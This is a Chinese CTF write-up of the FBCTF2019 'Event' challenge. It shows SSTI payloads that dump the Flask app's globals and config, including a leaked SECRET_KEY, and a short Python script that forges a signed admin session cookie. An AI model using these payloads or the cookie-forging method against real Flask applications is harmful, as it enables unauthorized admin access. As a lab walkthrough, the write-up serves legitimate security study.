zoukankan      html  css  js  c++  java
  • 刷题[FBCTF2019]Event

    解题思路

    信息收集

    打开发现是这样的登陆框,信息泄露,弱口令什么的尝试一下,无果,正常注册登陆

    发现需要通过admin用户登陆,并且发现有/flag这样的路由,猜测后台为python编写

    抓包发现有看不懂的三段cookie,还有三个参数,猜测有可能是jwt,测试了一下也无果,猜测思路应该是找到提示,伪造cookie登陆为admin获得flag。猜测可能是flask伪造登陆常见考点了

    ssti

    通过测试,使用__class__或者__dict__在event_important处可以爆出相关内容

    payload:__class__.__init__.__globals__

    通过此获取function所处空间下可使用的module、方法以及所有变量

    发现确实是使用flask模板

    payload:__class__.__init__.__globals__[app].config

    通过此获取配置文件信息

    'SECRET_KEY': 'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y'

    flask原理:json->zlib->base64后的源字符串 . 时间戳 . hmac签名信息

    exp

    from flask import Flask
    from flask.sessions import SecureCookieSessionInterface
    
    app = Flask(__name__)
    app.secret_key = b'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y'
    
    session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)
    
    @app.route('/')
    def index():
        print(session_serializer.dumps("admin"))
    
    index()
    

    网上有一篇exp,涉及到session原理,具体可以看此篇讲解,我总结一下

    1. 在flask/sessions.py中,SecureCookieSessionInterface用于封装对CookieSession的一系列操作
    2. 默认的序列化方式为session_json_serializer = TaggedJSONSerializer()
    3. SecureCookieSessionInterface类的获取签名验证序列化器函数为get_signing_serializer

    所以使用的是SecureCookieSessionInterface().get_signing_serializer(app).dumps

    返回admin的cookie值,替换user的cookie登陆,即可获得flag

    总结思路

    遇到/xx此类型,想到路由,使用python作为后端代码,一般即为ssti,此题为flask安全登陆问题,通过篡改cookie,实现登陆伪造

    知识点

    • flask安全漏洞
  • 相关阅读:
    出现,视图必须派生自 WebViewPage 或 WebViewPage错误解决方法
    未能加载文件或程序集“Microsoft.Web.Infrastructure, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad
    快速调试的VS设置
    WebAPI GET和POST请求的几种方(转发)
    Windows无法启动SQL server 代理服务(服务器)错误1067:进程意外终止
    LC.exe exited with code -1 报错
    Linq 合并数据并相加
    C#事务
    vs2013发布时: sgen.exe 已退出 代码为 1
    使用Jenkins部署.Net应用程序
  • 原文地址:https://www.cnblogs.com/karsa/p/13726823.html
Copyright © 2011-2022 走看看